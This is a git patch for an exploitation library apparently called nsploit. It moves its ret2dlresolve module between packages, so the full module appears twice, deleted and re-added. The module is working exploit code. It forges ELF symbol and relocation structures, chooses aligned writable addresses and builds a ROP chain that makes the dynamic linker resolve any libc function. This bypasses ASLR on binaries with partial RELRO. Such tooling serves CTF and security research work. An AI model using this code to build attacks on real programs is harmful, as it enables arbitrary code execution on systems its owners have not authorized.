From eca005749cf0c720cedc97fbb4ad8aa10dfad44b Mon Sep 17 00:00:00 2001 From: Malfurious Date: Sun, 16 Mar 2025 08:51:29 -0400 Subject: ret2dlresolve: Move to tech package Signed-off-by: Malfurious --- nsploit/payload/__init__.py | 1 - nsploit/payload/ret2dlresolve.py | 226 --------------------------------------- nsploit/tech/__init__.py | 1 + nsploit/tech/ret2dlresolve.py | 226 +++++++++++++++++++++++++++++++++++++++ 4 files changed, 227 insertions(+), 227 deletions(-) delete mode 100644 nsploit/payload/ret2dlresolve.py create mode 100644 nsploit/tech/ret2dlresolve.py diff --git a/nsploit/payload/__init__.py b/nsploit/payload/__init__.py index b77821e..d4b9be7 100644 --- a/nsploit/payload/__init__.py +++ b/nsploit/payload/__init__.py @@ -1,3 +1,2 @@ from .payload import * from .payload_entry import * -from .ret2dlresolve import * diff --git a/nsploit/payload/ret2dlresolve.py b/nsploit/payload/ret2dlresolve.py deleted file mode 100644 index 8446ead..0000000 --- a/nsploit/payload/ret2dlresolve.py +++ /dev/null @@ -1,226 +0,0 @@ -""" -Perform "Return to dlresolve" dynamic linker attack - -The ret2dlresolve technique is useful to defeat library ASLR against targets -with partial relro (or less) and where no useable data leaks are available. -This is specifically a workaround for ASLR of libraries such as libc, and -addresses within the target executable are expected to be known (non-pic or -otherwise). - -When a dynamic library call is performed normally, applications jump to code -stubs in the .plt section to perform the actual relocation. This process relies -on a couple of meta-data structures in the ELF object: - -Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to -cache the real subroutine address for later calls, as well as an info field -describing the relocation. This info field contains a type subfield and an -index into the ELF's symbol table for the symbol to be relocated. - -Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the -exploit, only the symbol name field is utilized (the others are set to zeroes). -The name field is an offset into the ELF's string table, and the actual symbol -name string can be found at this offset. - -All of the data tables mentioned above are located by their corresponding -section in the ELF. The relocation process however does not perform any bounds -checks to ensure the runtime data structures actually come from these sections. -By forging custom structures, and ensuring they can be written into memory at -precise locations, an attacker can trick the resolver to link any library -function they desire by setting up the equivalent PLT function call via ROP. - -Read on for more background details: -http://phrack.org/issues/58/4.html -https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 - -Structure definitions from your standard elf.h header: - -typedef struct { - Elf32_Word st_name; /* 4b Symbol name (string tbl index) */ - Elf32_Addr st_value; /* 4b Symbol value */ - Elf32_Word st_size; /* 4b Symbol size */ - unsigned char st_info; /* 1b Symbol type and binding */ - unsigned char st_other; /* 1b Symbol visibility */ - Elf32_Section st_shndx; /* 2b Section index */ -} Elf32_Sym; - -typedef struct { - Elf64_Word st_name; /* 4b Symbol name (string tbl index) */ - unsigned char st_info; /* 1b Symbol type and binding */ - unsigned char st_other; /* 1b Symbol visibility */ - Elf64_Section st_shndx; /* 2b Section index */ - Elf64_Addr st_value; /* 8b Symbol value */ - Elf64_Xword st_size; /* 8b Symbol size */ -} Elf64_Sym; - -typedef struct { - Elf32_Addr r_offset; /* 4b Address */ - Elf32_Word r_info; /* 4b Relocation type and symbol index */ -} Elf32_Rel; - -typedef struct { - Elf64_Addr r_offset; /* 8b Address */ - Elf64_Xword r_info; /* 8b Relocation type and symbol index */ -} Elf64_Rel; - -Elf32_Rel.r_info = 0xAAAAAABB - | | - | type - symidx - -Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB - | | - symidx type -""" - -from nsploit.arch import arch, itob -from nsploit.payload.payload import Payload -from nsploit.payload.payload_entry import padalign, padlen, pointer -from nsploit.rev.r2 import run_cmd -from nsploit.tech.gadhint import GadHint -from nsploit.tech.rop import ROP - -_JMP_SLOT = 0x07 - -def _symsize(): - # Size of Elf*_Sym, used for padding and indexing - if arch.wordsize == 4: return 16 - elif arch.wordsize == 8: return 24 - raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -def _relsize(): - # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) - if arch.wordsize == 4: return 1 - elif arch.wordsize == 8: return 24 - raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -def _infoshift(): - # Partition subfields of Elf*_Rel.r_info - if arch.wordsize == 4: return 8 - elif arch.wordsize == 8: return 32 - raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -class Ret2dlresolve(ROP): - # Use constructor from ROP class - - def reloc(self, symbol_name): - """ - Generate relocation structures for the function with given symbol name. - - The returned data structures are packed into a single Payload object. - This payload must be written into the target's memory before attempting - to use it with Ret2dlresolve.call(). Furthermore, the chosen write - location must be assigned to the payload base property, so that internal - pointers may take on the appropriate values. - - See Ret2dlresolve.determine_address() for advice on choosing a write - location. - - symbol_name (str): Name of library function to link - """ - binary = self.objects[0] - symtab = binary.sym.sect['.dynsym'] - strtab = binary.sym.sect['.dynstr'] - - try: - jmprel = binary.sym.sect['.rel.plt'] - except KeyError: - jmprel = binary.sym.sect['.rela.plt'] - - # Elf*_Rel.r_info - info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT - - # The sym structure is the most picky about its location in memory. So - # it is listed first in the main dlres struct, which can be placed at - # the desired location. - sym = Payload() - sym.name = pointer("symbol_string", lambda x: x - strtab) - sym.pad = padlen(_symsize(), b"\x00") - sym.symbol_string = symbol_name - - dlres = Payload() - dlres.symalign = padalign(_symsize(), reference=symtab) - dlres.sym = sym - dlres.relalign = padalign(_relsize(), reference=jmprel) - dlres.offset = pointer() - dlres.info = pointer("sym", info) - return dlres - - def determine_address(self, start=None, end=None, n=0): - """ - Determine recommended address for relocation structures. - - There are a couple considerations to make when determining the memory - locations. First of all, the location must be writable. More - importantly, since most items are referred to by an array index, the - structures themselves must be properly aligned, reference to the array - origins. - - The payload returned from Ret2dlresolve.reloc() has some of these - alignments built in, but one crucial one is not. The index implied by - Elf*_Sym's offset from the symtab base is the same index used to lookup - symbol version information, reference to versym. The data at this index - must constitute a valid version half-word (16-bits). This function - attempts to ensure that the coincident version info for any returned - value is the data \x00\x00. Getting this wrong can cause the dlresolve - routine to crash. - - start (int): Minimum address to recommend (default: .bss section address) - end (int): Maximum address to recommend (default: end of memory page) - n (int): Return the Nth useable address within the defined range - """ - binary = self.objects[0] - symtab = binary.sym.sect['.dynsym'] - versym = binary.sym.sect['.gnu.version'] - bss = binary.sym.sect['.bss'] - - if start is None: start = bss - if end is None: end = (start & ~0xfff) + 0x1000 - - zero_words = run_cmd(binary.path, "/x 0000") - zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] - - # Size of version entry is always 2 bytes. - veroff = [ x - versym for x in zero_words ] - idx = [ x//2 for x in veroff if x%2 == 0 ] - symoff = [ x * _symsize() for x in idx ] - addr = [ x + symtab for x in symoff ] - addr = [ x for x in addr if start <= x < end ] - - if len(addr) > n: - return addr[n] - - raise AssertionError("Ret2dlresolve: No suitable memory location") - - # Overrides ROP.call() - def call(self, reloc, *params): - """ - Return a ROP payload to call function via dynamic linker. - - reloc's base address must be set appropriately. - - reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() - *params (int): Remaining positional args are passed to function. - """ - binary = self.objects[0] - plt = binary.sym.sect['.plt'] - - try: - jmprel = binary.sym.sect['.rel.plt'] - except KeyError: - jmprel = binary.sym.sect['.rela.plt'] - - register_params = dict(zip(arch.funcargs, params)) - stack_params = params[len(register_params):] - index = int(reloc.offset - jmprel) // _relsize() - - reqs = GadHint(requirements=register_params) - call = GadHint(index, stack=stack_params) - ret = GadHint(self.search_gadget(arch.ret)) - - chain = Payload() - try: chain.requirements = self.gadget(reqs).requirements - except KeyError: pass - chain.alignment = padalign(0, itob(ret)) - chain.plt = plt - chain.call = self.gadget(call) - return chain diff --git a/nsploit/tech/__init__.py b/nsploit/tech/__init__.py index a3220d6..a517e7f 100644 --- a/nsploit/tech/__init__.py +++ b/nsploit/tech/__init__.py @@ -1,3 +1,4 @@ from .fmtstring import * from .gadhint import * +from .ret2dlresolve import * from .rop import * diff --git a/nsploit/tech/ret2dlresolve.py b/nsploit/tech/ret2dlresolve.py new file mode 100644 index 0000000..8446ead --- /dev/null +++ b/nsploit/tech/ret2dlresolve.py @@ -0,0 +1,226 @@ +""" +Perform "Return to dlresolve" dynamic linker attack + +The ret2dlresolve technique is useful to defeat library ASLR against targets +with partial relro (or less) and where no useable data leaks are available. +This is specifically a workaround for ASLR of libraries such as libc, and +addresses within the target executable are expected to be known (non-pic or +otherwise). + +When a dynamic library call is performed normally, applications jump to code +stubs in the .plt section to perform the actual relocation. This process relies +on a couple of meta-data structures in the ELF object: + +Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to +cache the real subroutine address for later calls, as well as an info field +describing the relocation. This info field contains a type subfield and an +index into the ELF's symbol table for the symbol to be relocated. + +Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the +exploit, only the symbol name field is utilized (the others are set to zeroes). +The name field is an offset into the ELF's string table, and the actual symbol +name string can be found at this offset. + +All of the data tables mentioned above are located by their corresponding +section in the ELF. The relocation process however does not perform any bounds +checks to ensure the runtime data structures actually come from these sections. +By forging custom structures, and ensuring they can be written into memory at +precise locations, an attacker can trick the resolver to link any library +function they desire by setting up the equivalent PLT function call via ROP. + +Read on for more background details: +http://phrack.org/issues/58/4.html +https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 + +Structure definitions from your standard elf.h header: + +typedef struct { + Elf32_Word st_name; /* 4b Symbol name (string tbl index) */ + Elf32_Addr st_value; /* 4b Symbol value */ + Elf32_Word st_size; /* 4b Symbol size */ + unsigned char st_info; /* 1b Symbol type and binding */ + unsigned char st_other; /* 1b Symbol visibility */ + Elf32_Section st_shndx; /* 2b Section index */ +} Elf32_Sym; + +typedef struct { + Elf64_Word st_name; /* 4b Symbol name (string tbl index) */ + unsigned char st_info; /* 1b Symbol type and binding */ + unsigned char st_other; /* 1b Symbol visibility */ + Elf64_Section st_shndx; /* 2b Section index */ + Elf64_Addr st_value; /* 8b Symbol value */ + Elf64_Xword st_size; /* 8b Symbol size */ +} Elf64_Sym; + +typedef struct { + Elf32_Addr r_offset; /* 4b Address */ + Elf32_Word r_info; /* 4b Relocation type and symbol index */ +} Elf32_Rel; + +typedef struct { + Elf64_Addr r_offset; /* 8b Address */ + Elf64_Xword r_info; /* 8b Relocation type and symbol index */ +} Elf64_Rel; + +Elf32_Rel.r_info = 0xAAAAAABB + | | + | type + symidx + +Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB + | | + symidx type +""" + +from nsploit.arch import arch, itob +from nsploit.payload.payload import Payload +from nsploit.payload.payload_entry import padalign, padlen, pointer +from nsploit.rev.r2 import run_cmd +from nsploit.tech.gadhint import GadHint +from nsploit.tech.rop import ROP + +_JMP_SLOT = 0x07 + +def _symsize(): + # Size of Elf*_Sym, used for padding and indexing + if arch.wordsize == 4: return 16 + elif arch.wordsize == 8: return 24 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _relsize(): + # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) + if arch.wordsize == 4: return 1 + elif arch.wordsize == 8: return 24 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _infoshift(): + # Partition subfields of Elf*_Rel.r_info + if arch.wordsize == 4: return 8 + elif arch.wordsize == 8: return 32 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +class Ret2dlresolve(ROP): + # Use constructor from ROP class + + def reloc(self, symbol_name): + """ + Generate relocation structures for the function with given symbol name. + + The returned data structures are packed into a single Payload object. + This payload must be written into the target's memory before attempting + to use it with Ret2dlresolve.call(). Furthermore, the chosen write + location must be assigned to the payload base property, so that internal + pointers may take on the appropriate values. + + See Ret2dlresolve.determine_address() for advice on choosing a write + location. + + symbol_name (str): Name of library function to link + """ + binary = self.objects[0] + symtab = binary.sym.sect['.dynsym'] + strtab = binary.sym.sect['.dynstr'] + + try: + jmprel = binary.sym.sect['.rel.plt'] + except KeyError: + jmprel = binary.sym.sect['.rela.plt'] + + # Elf*_Rel.r_info + info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT + + # The sym structure is the most picky about its location in memory. So + # it is listed first in the main dlres struct, which can be placed at + # the desired location. + sym = Payload() + sym.name = pointer("symbol_string", lambda x: x - strtab) + sym.pad = padlen(_symsize(), b"\x00") + sym.symbol_string = symbol_name + + dlres = Payload() + dlres.symalign = padalign(_symsize(), reference=symtab) + dlres.sym = sym + dlres.relalign = padalign(_relsize(), reference=jmprel) + dlres.offset = pointer() + dlres.info = pointer("sym", info) + return dlres + + def determine_address(self, start=None, end=None, n=0): + """ + Determine recommended address for relocation structures. + + There are a couple considerations to make when determining the memory + locations. First of all, the location must be writable. More + importantly, since most items are referred to by an array index, the + structures themselves must be properly aligned, reference to the array + origins. + + The payload returned from Ret2dlresolve.reloc() has some of these + alignments built in, but one crucial one is not. The index implied by + Elf*_Sym's offset from the symtab base is the same index used to lookup + symbol version information, reference to versym. The data at this index + must constitute a valid version half-word (16-bits). This function + attempts to ensure that the coincident version info for any returned + value is the data \x00\x00. Getting this wrong can cause the dlresolve + routine to crash. + + start (int): Minimum address to recommend (default: .bss section address) + end (int): Maximum address to recommend (default: end of memory page) + n (int): Return the Nth useable address within the defined range + """ + binary = self.objects[0] + symtab = binary.sym.sect['.dynsym'] + versym = binary.sym.sect['.gnu.version'] + bss = binary.sym.sect['.bss'] + + if start is None: start = bss + if end is None: end = (start & ~0xfff) + 0x1000 + + zero_words = run_cmd(binary.path, "/x 0000") + zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] + + # Size of version entry is always 2 bytes. + veroff = [ x - versym for x in zero_words ] + idx = [ x//2 for x in veroff if x%2 == 0 ] + symoff = [ x * _symsize() for x in idx ] + addr = [ x + symtab for x in symoff ] + addr = [ x for x in addr if start <= x < end ] + + if len(addr) > n: + return addr[n] + + raise AssertionError("Ret2dlresolve: No suitable memory location") + + # Overrides ROP.call() + def call(self, reloc, *params): + """ + Return a ROP payload to call function via dynamic linker. + + reloc's base address must be set appropriately. + + reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() + *params (int): Remaining positional args are passed to function. + """ + binary = self.objects[0] + plt = binary.sym.sect['.plt'] + + try: + jmprel = binary.sym.sect['.rel.plt'] + except KeyError: + jmprel = binary.sym.sect['.rela.plt'] + + register_params = dict(zip(arch.funcargs, params)) + stack_params = params[len(register_params):] + index = int(reloc.offset - jmprel) // _relsize() + + reqs = GadHint(requirements=register_params) + call = GadHint(index, stack=stack_params) + ret = GadHint(self.search_gadget(arch.ret)) + + chain = Payload() + try: chain.requirements = self.gadget(reqs).requirements + except KeyError: pass + chain.alignment = padalign(0, itob(ret)) + chain.plt = plt + chain.call = self.gadget(call) + return chain -- cgit v1.2.3